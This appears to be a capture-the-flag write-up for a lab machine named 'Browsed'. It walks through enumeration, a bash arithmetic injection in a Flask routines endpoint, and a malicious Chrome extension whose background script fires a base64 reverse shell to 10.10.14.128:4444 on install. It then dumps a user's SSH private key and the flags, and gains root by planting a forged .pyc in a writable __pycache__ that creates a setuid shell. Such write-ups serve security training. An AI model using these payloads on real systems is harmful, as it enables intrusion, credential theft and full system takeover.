Browsed

Enumeration

NMap

10.129.64.176
nmap -sC -sV -T4 10.129.64.176

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
|_  256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Browsed
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
sudo nmap -A -sU --top-port 100 10.129.64.176


PORT   STATE SERVICE VERSION
68/udp open|filtered dhcpc

SSH (22) - Anonymous

ssh anonymous@10.129.64.176 #No Results

HTTP (80)

  • 3 Sample extensions Fontify , ReplaceImages , Timer
  • No Interesting Information found in downloaded extensions
  • Upload Function, Accepts Zip Files, Possible only client side verification

Vhost - No Results

ffuf -w /opt/useful/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://10.129.64.176 -H 'Host: FUZZ.10.129.64.176' -fs 6708

Directory - No Results

ffuf -u http://10.129.64.176/FUZZ -w /opt/useful/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -fc 403,404

assets               [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 36ms]
images               [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 32ms]

File Brute Force - No Results

ffuf -u http://10.129.64.176/FUZZ.php -w /usr/share/wordlists/dirb/big.txt
upload         [Status: 200, Size: 6979, Words: 2321, Lines: 171, Duration: 31ms]

ffuf -u http://10.129.64.176/FUZZ.html -w /usr/share/wordlists/dirb/big.txt
elements      [Status: 200, Size: 20365, Words: 1281, Lines: 438, Duration: 37ms]
index           [Status: 200, Size: 6708, Words: 444, Lines: 166, Duration: 30ms]
samples          [Status: 200, Size: 4641, Words: 856, Lines: 86, Duration: 30ms]

Uploading Extensions to Browsed

  • Upon uploading an extension an error message is given
  • Reading through the errors shows a another domain called browsedinternals.htb
  • Visiting browsedinternals.htb is a gittea instance
[1969:1987:0114/011053.307526:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/

Hyrda - No Results

hydra -L larry -P /usr/share/wordlists/rockyou.txt ssh://10.129.64.176

Vhost - No Results

ffuf -w /opt/useful/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://browedinternals.htb -H 'Host: FUZZ.10.129.64.176'

Directory

ffuf -u http://browsedinternals.htb/FUZZ -w /opt/useful/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -fc 403,404

v2                    [Status: 401, Size: 50, Words: 1, Lines: 2, Duration: 31ms]
larry       [Status: 200, Size: 22469, Words: 1870, Lines: 433, Duration: 1768ms]

File Brute Force - No Results

ffuf -u http://browsedinternals.htb/FUZZ.php -w /usr/share/wordlists/dirb/big.txt

Enumerating GitTea

  • Creating a user to login with

gitteauser:gitteapassword

  • Found user Larry
#!/bin/bash

ROUTINE_LOG="/home/larry/markdownPreview/log/routine.log"
BACKUP_DIR="/home/larry/markdownPreview/backups"
DATA_DIR="/home/larry/markdownPreview/data"
TMP_DIR="/home/larry/markdownPreview/tmp"

log_action() {
  echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$ROUTINE_LOG"
}

if [[ "$1" -eq 0 ]]; then
  # Routine 0: Clean temp files
  find "$TMP_DIR" -type f -name "*.tmp" -delete
  log_action "Routine 0: Temporary files cleaned."
  echo "Temporary files cleaned."

elif [[ "$1" -eq 1 ]]; then
  # Routine 1: Backup data
  tar -czf "$BACKUP_DIR/data_backup_$(date '+%Y%m%d_%H%M%S').tar.gz" "$DATA_DIR"
  log_action "Routine 1: Data backed up to $BACKUP_DIR."
  echo "Backup completed."

elif [[ "$1" -eq 2 ]]; then
  # Routine 2: Rotate logs
  find "$ROUTINE_LOG" -type f -name "*.log" -exec gzip {} \;
  log_action "Routine 2: Log files compressed."
  echo "Logs rotated."

elif [[ "$1" -eq 3 ]]; then
  # Routine 3: System info dump
  uname -a > "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
  df -h >> "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
  log_action "Routine 3: System info dumped."
  echo "System info saved."

else
  log_action "Unknown routine ID: $1"
  echo "Routine ID not implemented."
fi
  • Able to perform bash arithmetic injection on the $1 variable

app.py

from flask import Flask, request, send_from_directory, redirect
from werkzeug.utils import secure_filename

import markdown
import os, subprocess
import uuid

app = Flask(__name__)
FILES_DIR = "files"

# Ensure the files/ directory exists
os.makedirs(FILES_DIR, exist_ok=True)

@app.route('/')
def index():
    return '''
    <h1>Markdown Previewer</h1>
    <form action="/submit" method="POST">
        <textarea name="content" rows="10" cols="80"></textarea><br>
        <input type="submit" value="Render & Save">
    </form>
    <p><a href="/files">View saved HTML files</a></p>
    '''


@app.route('/submit', methods=['POST'])
def submit():
    content = request.form.get('content', '')
    if not content.strip():
        return 'Empty content. <a href="/">Go back</a>'

    # Convert markdown to HTML
    html = markdown.markdown(content)

    # Save HTML to unique file
    filename = f"{uuid.uuid4().hex}.html"
    filepath = os.path.join(FILES_DIR, filename)
    with open(filepath, 'w') as f:
        f.write(html)

    return f'''
    <p>File saved as <code>{filename}</code>.</p>
    <p><a href="/view/{filename}">View Rendered HTML</a></p>
    <p><a href="/">Go back</a></p>
    '''

@app.route('/files')
def list_files():
    files = [f for f in os.listdir(FILES_DIR) if f.endswith('.html')]
    links = '\n'.join([f'<li><a href="/view/{f}">{f}</a></li>' for f in files])
    return f'''
    <h1>Saved HTML Files</h1>
    <ul>{links}</ul>
    <p><a href="/">Back to editor</a></p>
    '''

@app.route('/routines/<rid>')
def routines(rid):
    # Call the script that manages the routines
    # Run bash script with the input as an argument (NO shell)
    subprocess.run(["./routines.sh", rid])
    return "Routine executed !"

@app.route('/view/<filename>')
def view_file(filename):
    filename = secure_filename(filename)
    if not filename.endswith('.html'):
        return "Invalid filename", 400
    return send_from_directory(FILES_DIR, filename)

# The webapp should only be accessible through localhost
if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)
  • Within App.py we see it calls /routines/<rid>
  • If we input into rid we can use bash arithmetic injection

Creating Malicious Chrome Extension

background.js

const b64shell = "YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMjgvNDQ0NCAwPiYxJw=="; //bash -c 'bash -i >& /dev/tcp/10.10.14.128/4444 0>&1'

async function triggerShell() {
  try {
    const payload = `x[$(echo ${b64shell}|base64 -d|bash &)]`;
    await fetch(`http://127.0.0.1:5000/routines/${payload}`);
  } catch(e) {
  }
}

// Execute on install
chrome.runtime.onInstalled.addListener(() => {
  triggerShell();
});
triggerShell();

manifest.json

{
  "manifest_version": 3,
  "name": "Bash Scriptor",
  "version": "1.0.0",
  "permissions": ["scripting"],
  "host_permissions": [
    "http://127.0.0.1:5000/*"
  ],
  "background": {
    "service_worker": "background.js"
  }
}
nc -nvlp 4444
  • Upload extension to catch shell as Larry

Enumerating Larry

cat user.txt
28ed95b31e7159d421eed39bd06ef050

SSH as Larry

cd /home/larry/.ssh
cat id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDZZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrwAAAJAXb7KHF2+y
hwAAAAtzc2gtZWQyNTUxOQAAACDZZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrw
AAAEBRIok98/uzbzLs/MWsrygG9zTsVa9GePjT52KjU6LoJdlkhk8FEXwXNCOe06dt3BiJ
Iti0nZWQHBABLy8gq3OvAAAADWxhcnJ5QGJyb3dzZWQ=
-----END OPENSSH PRIVATE KEY-----
echo '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDZZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrwAAAJAXb7KHF2+y
hwAAAAtzc2gtZWQyNTUxOQAAACDZZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrw
AAAEBRIok98/uzbzLs/MWsrygG9zTsVa9GePjT52KjU6LoJdlkhk8FEXwXNCOe06dt3BiJ
Iti0nZWQHBABLy8gq3OvAAAADWxhcnJ5QGJyb3dzZWQ=
-----END OPENSSH PRIVATE KEY-----' > id_rsa
chmod 600 id_rsa
ssh -i id_rsa larry@browsed.htb

Checking permissions

sudo -l

User larry may run the following commands on browsed:
    (root) NOPASSWD: /opt/extensiontool/extension_tool.py
  • Checking /opt/extensiontool
ls -la

drwxr-xr-x 4 root root 4096 Dec 11 07:54 .
drwxr-xr-x 4 root root 4096 Aug 17 12:55 ..
drwxrwxrwx 2 root root 4096 Jan 17 03:40 __pycache__
-rwxrwxr-x 1 root root 2739 Mar 27  2025 extension_tool.py
-rw-rw-r-- 1 root root 1245 Mar 23  2025 extension_utils.py
drwxrwxr-x 5 root root 4096 Mar 23  2025 extensions
  • We have write permissions to __pycache__

PYC Vulnerability

  • Python compiles imported modules into byte code .pyc stored in __pycache__
  • When importing a module Python checks __pycache__ first. If a .pyc exists and the timestamp and size it will execute without recompiling
  • Create exploit.py to inject .pyc
  • Written Using Claude
cat << EOF > script.py
#!/usr/bin/python3
import py_compile
import os
import struct
import importlib.util
import time

# Create malicious code
malicious_code = '''import json
import os
import shutil

def validate_manifest(manifest_path):
    shutil.copy('/bin/bash', '/tmp/rootshell')
    os.chmod('/tmp/rootshell', 0o4755)
    with open(manifest_path, 'r', encoding='utf-8') as f:
        data = json.load(f)
    required_fields = ["name", "version", "manifest_version"]
    for field in required_fields:
        if field not in data:
            raise ValueError(f"Missing required field: {field}")
    print(f"[+] Manifest is valid.")
    return data

def clean_temp_files(clean=True):
    temp_dir = '/opt/extensiontool/temp'
    if clean and os.path.exists(temp_dir):
        shutil.rmtree(temp_dir)
        print(f"[+] Cleaned up {temp_dir}")
'''

# Write malicious code
with open('/tmp/extension_utils.py', 'w') as f:
    f.write(malicious_code)

# Compile to .pyc
py_compile.compile('/tmp/extension_utils.py', cfile='/tmp/extension_utils.pyc')

# Get original file stats
original_file = '/opt/extensiontool/extension_utils.py'
original_stat = os.stat(original_file)
source_mtime = int(original_stat.st_mtime)
source_size = original_stat.st_size

print(f"[+] Original source mtime: {source_mtime}")
print(f"[+] Original source size: {source_size}")

# Read the compiled .pyc
with open('/tmp/extension_utils.pyc', 'rb') as f:
    pyc_data = bytearray(f.read())

# Python 3.12 .pyc format:
# Bytes 0-4: Magic number
# Bytes 4-8: Flags (bit field)
# Bytes 8-12: Timestamp (for timestamp-based) or hash (for hash-based)
# Bytes 12-16: Source size
# Bytes 16+: Marshalled code object

# We need to modify it to be timestamp-based and match the original file
# Set to timestamp-based invalidation (flags = 0)
pyc_data[4:8] = struct.pack('<I', 0)

# Set the source file timestamp
pyc_data[8:12] = struct.pack('<I', source_mtime)

# Set the source file size
pyc_data[12:16] = struct.pack('<I', source_size)

# Write modified .pyc
with open('/tmp/extension_utils_modified.pyc', 'wb') as f:
    f.write(pyc_data)

print(f"[+] Created modified .pyc with correct timestamp and size")

# Now copy to __pycache__
target = '/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc'

print(f"\n[!] Now run:")
print(f"cp /tmp/extension_utils_modified.pyc {target}")
print(f"touch -d '@{source_mtime}' {target}")
print(f"\n# Trigger:")
print(f"sudo /opt/extensiontool/extension_tool.py --ext Fontify")
print(f"\n# Execute:")
print(f"/tmp/rootshell -p")
EOF
python3 script.py
[+] Original source mtime: 1742727379
[+] Original source size: 1245
[+] Created modified .pyc with correct timestamp and size
cp /tmp/extension_utils_modified.pyc /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc

touch -d '@1742727379' /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc

sudo /opt/extensiontool/extension_tool.py --ext Fontify

/tmp/rootshell -p
cat /root/root.txt
596f074507fc876029f586509ebd13cc